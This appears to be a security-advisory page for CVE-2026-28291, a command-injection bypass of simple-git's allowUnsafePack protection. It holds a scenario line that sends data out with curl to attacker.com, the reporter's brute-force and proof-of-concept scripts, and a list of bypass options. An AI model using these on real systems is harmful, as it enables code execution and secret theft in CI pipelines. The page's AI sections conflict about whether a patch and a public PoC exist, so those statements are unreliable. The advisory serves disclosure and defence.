Skip to main content

Docker CVE-2026-28291

| EUVDEUVD-2026-22026 HIGH
OS Command Injection (CWE-78)
2026-04-13 https://github.com/steveukx/git-js GHSA-jcxm-m3jx-f287
8.1
CVSS 3.1 · Vendor: https://github.com/steveukx/git-js
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify simple-git integration endpoint
  2. Exploit
    Craft malicious Git options with -vu/-4u/-lu variant
  3. Execution
    Submit payload via repository URL/webhook
  4. Impact
    Trigger git.clone

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must control options passed to simple-git commands in vulnerable versions (≤3.28.0). Requires application to accept untrusted input for git command options without proper sanitization, even when command execution is intended to be restricted.

Impact

This vulnerability presents high real-world risk despite the CVSS attack complexity rating of 'High' (AC:H). The CVSS 8.1 score reflects network-accessible exploitation requiring no authentication (AV:N/PR:N) with complete compromise potential (C:H/I:H/A:H). The 'High' complexity designation likely accounts for the need to control Git command options, which is context-dependent - in scenarios where user input influences repository URLs or clone options (common in automated deployment systems, webhooks, or repository management tools), this becomes trivial. The public availability of working proof-of-concept code with multiple bypass variants (-vu, -4u, -lu, -nu, -qu, -su, --u) significantly lowers the exploitation barrier. The reporter's assessment that 'the number of option variants that enable command execution is probably infinite' indicates defenders cannot rely on deny-listing approaches. KEV status and EPSS scores were not provided, but the vulnerability's lineage (fourth in a series: CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860) suggests simple-git has persistent architectural issues with command injection. Organizations using simple-git in automated environments where external input influences Git operations face immediate risk. The Linux-specific reproduction (WSL Docker, git 2.39.5) suggests platform-dependent exploit reliability, with Windows 11 reportedly unaffected in testing, though this may reflect testing limitations rather than true immunity.

Exploit ScenarioDerived

An attacker compromises a CI/CD webhook endpoint that uses simple-git to clone repositories based on user-provided URLs. By crafting a malicious repository URL parameter containing the option array ['-vu', 'sh -c "curl http://attacker.com/$(whoami)"'], the attacker bypasses the allowUnsafePack=false safety restriction. When the application executes git.clone(), Git interprets -vu as combined -v (verbose) and -u (upload-pack) flags, executing the shell command that exfiltrates the current username to the attacker's server. With shell access established, the attacker pivots to reading environment variables containing secrets, modifying build artifacts, or establishing persistence in the CI/CD infrastructure.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 13, 2026

Command injection in simple-git npm package versions ≤3.28.0 enables arbitrary code execution via crafted Git options. Attackers who control Git command options can bypass the allowUnsafePack safety restriction using malformed variations of the -u flag (e.g., -vu, -4u, --u) to execute shell commands on Linux systems. This vulnerability stems from an incomplete fix for CVE-2022-25860, with proof-of-concept code publicly available demonstrating file creation via touch command. EPSS data not provid

Earlier versions of this analysis (1)
v1 Apr 13, 2026 - 17:15 CVSS 8.1

Command injection in simple-git npm package versions ≤3.28.0 enables arbitrary code execution via crafted Git options. Attackers who control Git command options can bypass the allowUnsafePack safety restriction using malformed variations of the -u flag (e.g., -vu, -4u, --u) to execute shell commands on Linux systems. This vulnerability stems from an incomplete fix for CVE-2022-25860, with proof-of-concept code publicly available demonstrating file creation via touch command. EPSS data not provided, but active exploitation risk is elevated given POC availability and the package's widespread use in Node.js automation workflows.

RemediationAI

No vendor-released patch identified at time of analysis, as the provided data references version 3.28.0 as affected with no confirmed fix version. Users should monitor the upstream repository at https://github.com/steveukx/git-js and the GitHub Security Advisory GHSA-jcxm-m3jx-f287 for patched releases. Until a comprehensive fix is available, implement defense-in-depth controls: strictly validate and sanitize all external input before passing to simple-git methods, particularly clone, fetch, and push operations; implement allow-listing for Git command options rather than relying on the library's built-in deny-lists; avoid exposing simple-git functionality in contexts where attackers control repository URLs or command options; consider containerization with restricted shell access to limit impact of successful command injection. Given the reporter's assessment that complete blocking may be 'virtually impossible' without faithfully emulating Git's option parsing, organizations with high-risk exposure should evaluate alternative Git wrapper libraries with more robust command construction approaches or consider using child process execution with comprehensive input validation at the application layer. Review application code for patterns where user-supplied data flows into simple-git option arrays, particularly in webhook handlers, repository management interfaces, and automated deployment scripts.

Affected VersionsENISA

git-js < 3.32.0

Affected Packages

npm simple-git fix: 3.32.0
euvd git_js fix: 3.32.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

simple-git is a Node.js wrapper library for native Git commands, used extensively in CI/CD pipelines and development tooling. The vulnerability exploits Git's flexible option parsing in commands like 'git clone', where options such as -u (shorthand for --upload-pack) and --upload-pack accept arbitrary commands for remote operations. The library attempted to block dangerous options via regex patterns in block-unsafe-operations-plugin.ts, checking for --upload-pack, --receive-pack, and -u in clone operations. However, Git accepts concatenated short options (e.g., -vu combines -v and -u) and malformed variations (--u, -4u, -lu, -qu, -su) that bypass the regex patterns /^\s*-u\b/ and /^\s*--(upload|receive)-pack/. The root cause (CWE-78: OS Command Injection) is insufficient input validation - the library cannot comprehensively emulate Git's complex option parsing rules, making complete mitigation potentially infeasible without fundamental architectural changes. Affected package identifier: pkg:npm/simple-git, impacting Docker environments and Microsoft platform integrations according to available tags.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/steveukx/git-js) PRIMARY 8.1 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Red Hat 8.1 HIGH

Primary rating from Vendor (https://github.com/steveukx/git-js).

CVSS VectorVendor: https://github.com/steveukx/git-js

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Apr 13, 2026 - 20:30 nvd
Patch available
CVE Published
Apr 13, 2026 - 16:35 nvd
HIGH 8.1

DescriptionCVE.org

Summary

simple-git enables running native Git commands from JavaScript. Some commands accept options that allow executing another command; because this is very dangerous, execution is denied unless the user explicitly allows it. This vulnerability allows a malicious actor who can control the options to execute other commands even in a “safe” state where the user has not explicitly allowed them. The vulnerability was introduced by an incorrect patch for CVE-2022-25860. It is *likely* to affect all versions prior to and including 3.28.0.

Detail

This vulnerability was introduced by an incorrect patch for CVE-2022-25860.

It was reproduced in the following environment:


WSL Docker
node: v22.19.0
git: git version 2.39.5
simple-git: 3.28.0

The issue was not reproduced on Windows 11.

The -u option, like --upload-pack, allows a command to be executed.

Currently, the -u and --upload-pack options are blocked in the file simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts.

ts
function preventUploadPack(arg: string, method: string) {
   if (/^\s*--(upload|receive)-pack/.test(arg)) {
      throw new GitPluginError(
         undefined,
         'unsafe',
         `Use of --upload-pack or --receive-pack is not permitted without enabling allowUnsafePack`
      );
   }

   if (method === 'clone' && /^\s*-u\b/.test(arg)) {
      throw new GitPluginError(
         undefined,
         'unsafe',
         `Use of clone with option -u is not permitted without enabling allowUnsafePack`
      );
   }

   if (method === 'push' && /^\s*--exec\b/.test(arg)) {
      throw new GitPluginError(
         undefined,
         'unsafe',
         `Use of push with option --exec is not permitted without enabling allowUnsafePack`
      );
   }
}

However, the problem is that command option parsing is quite flexible.

By brute forcing, I found various options that bypass the -u check.

[
  '--u', '--u',
  '-4u', '-6u',
  '-lu', '-nu',
  '-qu', '-su',
  '-vu'
]

All of the above are three-character options that allow command execution. They enable execution even when allowUnsafePack is explicitly set to false.

The depressing fact is that the options I found are probably only a tiny fraction of all possible option formats that enable command execution. In addition to the -u option, there is also the --upload-pack option and others, and some of the options I found can probably be extended to arbitrary length. Considering this, the number of option variants that enable command execution is probably infinite.

Therefore, I could not find an effective way to block all such cases. Personally, I think it is virtually impossible to block this vulnerability completely. To fully block it, one would have to faithfully emulate Git’s option parsing rules, and it’s doubtful whether that is feasible.

Just in case, I’ll share the brute-force code I used to find options that enable command execution.

js
const fs = require('fs');
const simpleGit = require('simple-git');

const TMP_DIR = './pwned/';
const ITER = 256;

function cleanTmpDir() {
    if (fs.existsSync(TMP_DIR)) {
        fs.rmSync(TMP_DIR, { recursive: true, force: true });
    }
    fs.mkdirSync(TMP_DIR, { recursive: true });
}

function getPwnedFiles() {
    const found = [];
    for (let i = 0; i < ITER; i++) {
        const fname1 = `${TMP_DIR}1_${i}`;
        const fname2 = `${TMP_DIR}2_${i}`;
        const fname3 = `${TMP_DIR}3_${i}`;
        if (fs.existsSync(fname1)) found.push(String.fromCharCode(i) + '-u');
        if (fs.existsSync(fname2)) found.push('-' + String.fromCharCode(i) + 'u');
        if (fs.existsSync(fname3)) found.push('-u' + String.fromCharCode(i));
    }
    return found;
}

async function runTest(runIdx) {
    const git = simpleGit();
    // 1. `${~}-u` Pattern
    for (let i = 0; i < ITER; i++) {
        try {
            await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i) + '-u', `sh -c \"touch ${TMP_DIR}1_${i}\"`]);
        } catch {}
    }
    // 2. `-${~}u` Pattern
    for (let i = 0; i < ITER; i++) {
        try {
            await git.clone('./testrepo1', './testrepo2', ['-' + String.fromCharCode(i) + 'u', `sh -c \"touch ${TMP_DIR}2_${i}\"`]);
        } catch {}
    }
    // 3. `-u${~}` Pattern
    for (let i = 0; i < ITER; i++) {
        try {
            await git.clone('./testrepo1', './testrepo2', ['-u' + String.fromCharCode(i), `sh -c \"touch ${TMP_DIR}3_${i}\"`]);
        } catch {}
    }
}

async function main() {
    cleanTmpDir();
    await runTest();

    const found = getPwnedFiles();

    console.log(found);
}

main();

PoC

The environment in which I succeeded is as follows. As long as the OS remains Linux, I suspect it will succeed reliably despite considerable variation in other factors.

WSL Docker
node: v22.19.0
git: git version 2.39.5
simple-git: 3.28.0

1.

Create any git repository inside the testrepo1 folder. A very simple repository with a single commit and a single file is fine.

2.

Run the following:

js
const { simpleGit } = require('simple-git');

async function main() {
    const git = await simpleGit({ unsafe: { allowUnsafePack: false } });
    await git.clone('./testrepo1', './testrepo2', [`-vu sh -c \"touch /tmp/pwned\"`]);
}

main();

This PoC explicitly configures allowUnsafePack to false. Of course, the same vulnerability occurs even without this option. An error is the expected behavior.

3.

Check /tmp to confirm that pwned has been created. If it failed, try replacing -vu with a different option from the list.

Impact

This vulnerability is *likely* to affect all versions prior to and including 3.28.0. This is because it appears to be a continuation of the series of four vulnerabilities previously found in simple-git (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860).

Executive ViewAI

Why It Matters

CVE-2026-28291 affects the simple-git npm package (versions ≤3.28.0), a widely used dependency in Node.js automation and CI/CD pipelines, enabling remote code execution through crafted Git command options. Organizations running vulnerable versions face immediate risk of unauthorized command execution on Linux systems if untrusted input influences Git operations. This is a regression of a previously patched vulnerability, indicating elevated exploitation likelihood.

Business Impact: High
Compensating Controls

Pending vendor patch availability. Interim mitigations: (1) Implement strict input validation and allowlisting on all Git command parameters, rejecting any flags beginning with '-'; (2) Run Node.js processes with minimal privilege and restricted shell access; (3) Isolate build and automation systems from internet-facing inputs; (4) Monitor system call logs for suspicious shell command execution from Node.js processes; (5) Disable allowUnsafePack functionality where not operationally required.

Threat Intelligence Overview

EPSS Score
0.1%
Top 74% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy